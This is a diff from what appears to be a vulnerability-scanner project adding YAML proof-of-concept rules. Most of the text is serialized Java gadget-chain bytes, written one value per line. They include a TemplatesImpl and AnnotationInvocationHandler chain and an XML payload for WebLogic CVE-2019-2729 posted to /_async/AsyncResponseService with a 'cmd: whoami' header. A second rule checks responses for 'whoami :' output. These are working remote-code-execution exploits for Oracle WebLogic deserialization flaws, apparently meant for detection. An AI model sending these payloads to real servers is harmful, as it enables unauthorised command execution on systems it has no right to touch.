+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 52
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 0
+
+
+ 24
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 27
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 73
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 56
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 42
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 28
+
+
+ 0
+
+
+ 29
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 30
+
+
+ 0
+
+
+ 31
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 41
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 114
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 18
+
+
+ -89
+
+
+ 0
+
+
+ 3
+
+
+ 1
+
+
+ 76
+
+
+ -72
+
+
+ 0
+
+
+ 47
+
+
+ -64
+
+
+ 0
+
+
+ 49
+
+
+ -74
+
+
+ 0
+
+
+ 53
+
+
+ -64
+
+
+ 0
+
+
+ 55
+
+
+ 18
+
+
+ 57
+
+
+ -74
+
+
+ 0
+
+
+ 61
+
+
+ 77
+
+
+ -72
+
+
+ 0
+
+
+ 47
+
+
+ -64
+
+
+ 0
+
+
+ 49
+
+
+ -74
+
+
+ 0
+
+
+ 53
+
+
+ -64
+
+
+ 0
+
+
+ 55
+
+
+ -74
+
+
+ 0
+
+
+ 65
+
+
+ 78
+
+
+ 45
+
+
+ 18
+
+
+ 67
+
+
+ -74
+
+
+ 0
+
+
+ 73
+
+
+ 45
+
+
+ -74
+
+
+ 0
+
+
+ 77
+
+
+ 58
+
+
+ 4
+
+
+ 25
+
+
+ 4
+
+
+ -69
+
+
+ 0
+
+
+ 79
+
+
+ 89
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 18
+
+
+ 88
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -73
+
+
+ 0
+
+
+ 94
+
+
+ -74
+
+
+ 0
+
+
+ 100
+
+
+ 25
+
+
+ 4
+
+
+ -74
+
+
+ 0
+
+
+ 103
+
+
+ 18
+
+
+ 105
+
+
+ -72
+
+
+ 0
+
+
+ 110
+
+
+ 58
+
+
+ 5
+
+
+ 25
+
+
+ 5
+
+
+ 1
+
+
+ -91
+
+
+ 0
+
+
+ 16
+
+
+ 25
+
+
+ 5
+
+
+ -74
+
+
+ 0
+
+
+ 115
+
+
+ 18
+
+
+ 117
+
+
+ -74
+
+
+ 0
+
+
+ 121
+
+
+ -102
+
+
+ 0
+
+
+ 6
+
+
+ -89
+
+
+ 0
+
+
+ 33
+
+
+ -72
+
+
+ 0
+
+
+ 127
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 18
+
+
+ -127
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -74
+
+
+ 0
+
+
+ -123
+
+
+ 58
+
+
+ 6
+
+
+ -89
+
+
+ 0
+
+
+ 30
+
+
+ -72
+
+
+ 0
+
+
+ 127
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 18
+
+
+ -121
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -74
+
+
+ 0
+
+
+ -123
+
+
+ 58
+
+
+ 6
+
+
+ -69
+
+
+ 0
+
+
+ -119
+
+
+ 89
+
+
+ -69
+
+
+ 0
+
+
+ -117
+
+
+ 89
+
+
+ 25
+
+
+ 6
+
+
+ -74
+
+
+ 0
+
+
+ -111
+
+
+ 18
+
+
+ 67
+
+
+ -73
+
+
+ 0
+
+
+ -108
+
+
+ -73
+
+
+ 0
+
+
+ -105
+
+
+ 58
+
+
+ 7
+
+
+ 1
+
+
+ 58
+
+
+ 8
+
+
+ 18
+
+
+ -103
+
+
+ 58
+
+
+ 9
+
+
+ -89
+
+
+ 0
+
+
+ 25
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 25
+
+
+ 9
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 25
+
+
+ 8
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ 58
+
+
+ 9
+
+
+ 25
+
+
+ 7
+
+
+ -74
+
+
+ 0
+
+
+ -100
+
+
+ 89
+
+
+ 58
+
+
+ 8
+
+
+ 1
+
+
+ -90
+
+
+ -1
+
+
+ -31
+
+
+ 45
+
+
+ -74
+
+
+ 0
+
+
+ -96
+
+
+ 25
+
+
+ 9
+
+
+ -74
+
+
+ 0
+
+
+ -91
+
+
+ -89
+
+
+ 0
+
+
+ 24
+
+
+ 58
+
+
+ 10
+
+
+ -78
+
+
+ 0
+
+
+ -85
+
+
+ 25
+
+
+ 10
+
+
+ -74
+
+
+ 0
+
+
+ -82
+
+
+ -74
+
+
+ 0
+
+
+ -77
+
+
+ 25
+
+
+ 10
+
+
+ -74
+
+
+ 0
+
+
+ -74
+
+
+ -89
+
+
+ 0
+
+
+ 3
+
+
+ -79
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 94
+
+
+ 0
+
+
+ -7
+
+
+ 0
+
+
+ -4
+
+
+ 0
+
+
+ -89
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ -73
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 70
+
+
+ 0
+
+
+ 9
+
+
+ 3
+
+
+ -1
+
+
+ 0
+
+
+ 109
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 5
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 69
+
+
+ 7
+
+
+ 0
+
+
+ 96
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 29
+
+
+ -4
+
+
+ 0
+
+
+ 26
+
+
+ 7
+
+
+ 0
+
+
+ -115
+
+
+ -2
+
+
+ 0
+
+
+ 32
+
+
+ 7
+
+
+ 0
+
+
+ -119
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 21
+
+
+ -1
+
+
+ 0
+
+
+ 23
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 5
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 69
+
+
+ 7
+
+
+ 0
+
+
+ 96
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 1
+
+
+ 7
+
+
+ 0
+
+
+ -89
+
+
+ 20
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 35
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 117
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -44
+
+
+ -54
+
+
+ -2
+
+
+ -70
+
+
+ -66
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 27
+
+
+ 10
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 21
+
+
+ 7
+
+
+ 0
+
+
+ 23
+
+
+ 7
+
+
+ 0
+
+
+ 24
+
+
+ 7
+
+
+ 0
+
+
+ 25
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 85
+
+
+ 73
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 74
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 67
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 116
+
+
+ 97
+
+
+ 110
+
+
+ 116
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 5
+
+
+ 113
+
+
+ -26
+
+
+ 105
+
+
+ -18
+
+
+ 60
+
+
+ 109
+
+
+ 71
+
+
+ 24
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 60
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 40
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 67
+
+
+ 111
+
+
+ 100
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 18
+
+
+ 76
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 108
+
+
+ 86
+
+
+ 97
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 104
+
+
+ 105
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 73
+
+
+ 110
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 101
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 26
+
+
+ 1
+
+
+ 0
+
+
+ 35
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 70
+
+
+ 111
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 79
+
+
+ 98
+
+
+ 106
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 60
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ 18
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 17
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 9
+
+
+ 112
+
+
+ 116
+
+
+ 0
+
+
+ 4
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 114
+
+
+ 112
+
+
+ 119
+
+
+ 1
+
+
+ 0
+
+
+ 120
+
+
+ 115
+
+
+ 125
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 120
+
+
+ 121
+
+
+ -31
+
+
+ 39
+
+
+ -38
+
+
+ 32
+
+
+ -52
+
+
+ 16
+
+
+ 67
+
+
+ -53
+
+
+ 2
+
+
+ 0
+
+
+ 1
+
+
+ 76
+
+
+ 0
+
+
+ 1
+
+
+ 104
+
+
+ 116
+
+
+ 0
+
+
+ 37
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 50
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 114
+
+
+ 101
+
+
+ 102
+
+
+ 108
+
+
+ 101
+
+
+ 99
+
+
+ 116
+
+
+ 46
+
+
+ 97
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 46
+
+
+ 65
+
+
+ 110
+
+
+ 110
+
+
+ 111
+
+
+ 116
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 73
+
+
+ 110
+
+
+ 118
+
+
+ 111
+
+
+ 99
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 85
+
+
+ -54
+
+
+ -11
+
+
+ 15
+
+
+ 21
+
+
+ -53
+
+
+ 126
+
+
+ -91
+
+
+ 2
+
+
+ 0
+
+
+ 2
+
+
+ 76
+
+
+ 0
+
+
+ 12
+
+
+ 109
+
+
+ 101
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 86
+
+
+ 97
+
+
+ 108
+
+
+ 117
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 0
+
+
+ 15
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 59
+
+
+ 76
+
+
+ 0
+
+
+ 4
+
+
+ 116
+
+
+ 121
+
+
+ 112
+
+
+ 101
+
+
+ 116
+
+
+ 0
+
+
+ 17
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 108
+
+
+ 97
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 120
+
+
+ 112
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 5
+
+
+ 7
+
+
+ -38
+
+
+ -63
+
+
+ -61
+
+
+ 22
+
+
+ 96
+
+
+ -47
+
+
+ 3
+
+
+ 0
+
+
+ 2
+
+
+ 70
+
+
+ 0
+
+
+ 10
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 70
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 73
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 115
+
+
+ 104
+
+
+ 111
+
+
+ 108
+
+
+ 100
+
+
+ 120
+
+
+ 112
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 119
+
+
+ 8
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 116
+
+
+ 0
+
+
+ 8
+
+
+ 102
+
+
+ 53
+
+
+ 97
+
+
+ 53
+
+
+ 97
+
+
+ 54
+
+
+ 48
+
+
+ 56
+
+
+ 113
+
+
+ 0
+
+
+ 126
+
+
+ 0
+
+
+ 9
+
+
+ 120
+
+
+ 118
+
+
+ 114
+
+
+ 0
+
+
+ 29
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 120
+
+
+
+
+
+
+
+
+
+
+
+ follow_redirects: false
+ expression: 'response.status == 200 && response.body.bcontains(b"whoami :")'
\ No newline at end of file
diff --git a/core/pocScan/pocs/weblogic-cve-2019-2729-2.yml b/core/pocScan/pocs/weblogic-cve-2019-2729-2.yml
new file mode 100644
index 0000000..db34c1c
--- /dev/null
+++ b/core/pocScan/pocs/weblogic-cve-2019-2729-2.yml
@@ -0,0 +1,10473 @@
+name: poc-yaml-weblogic-cve-2019-2729-2
+rules:
+ - method: POST
+ path: /_async/AsyncResponseService
+ headers:
+ Content-Type: text/xml
+ cmd: whoami
+ body: |-
+
+
+
+ xx
+ xx
+
+
+
+ oracle.toplink.internal.sessions.UnitOfWorkChangeSet
+
+
+
+ -84
+
+
+ -19
+
+
+ 0
+
+
+ 5
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 23
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 107
+
+
+ 101
+
+
+ 100
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -40
+
+
+ 108
+
+
+ -41
+
+
+ 90
+
+
+ -107
+
+
+ -35
+
+
+ 42
+
+
+ 30
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 114
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 46
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 46
+
+
+ 72
+
+
+ 97
+
+
+ 115
+
+
+ 104
+
+
+ 83
+
+
+ 101
+
+
+ 116
+
+
+ -70
+
+
+ 68
+
+
+ -123
+
+
+ -107
+
+
+ -106
+
+
+ -72
+
+
+ -73
+
+
+ 52
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 120
+
+
+ 112
+
+
+ 119
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 16
+
+
+ 63
+
+
+ 64
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 115
+
+
+ 114
+
+
+ 0
+
+
+ 58
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 46
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 46
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 46
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 46
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 46
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 46
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 46
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 120
+
+
+ 46
+
+
+ 84
+
+
+ 101
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 97
+
+
+ 116
+
+
+ 101
+
+
+ 115
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 9
+
+
+ 87
+
+
+ 79
+
+
+ -63
+
+
+ 110
+
+
+ -84
+
+
+ -85
+
+
+ 51
+
+
+ 3
+
+
+ 0
+
+
+ 6
+
+
+ 73
+
+
+ 0
+
+
+ 13
+
+
+ 95
+
+
+ 105
+
+
+ 110
+
+
+ 100
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 78
+
+
+ 117
+
+
+ 109
+
+
+ 98
+
+
+ 101
+
+
+ 114
+
+
+ 73
+
+
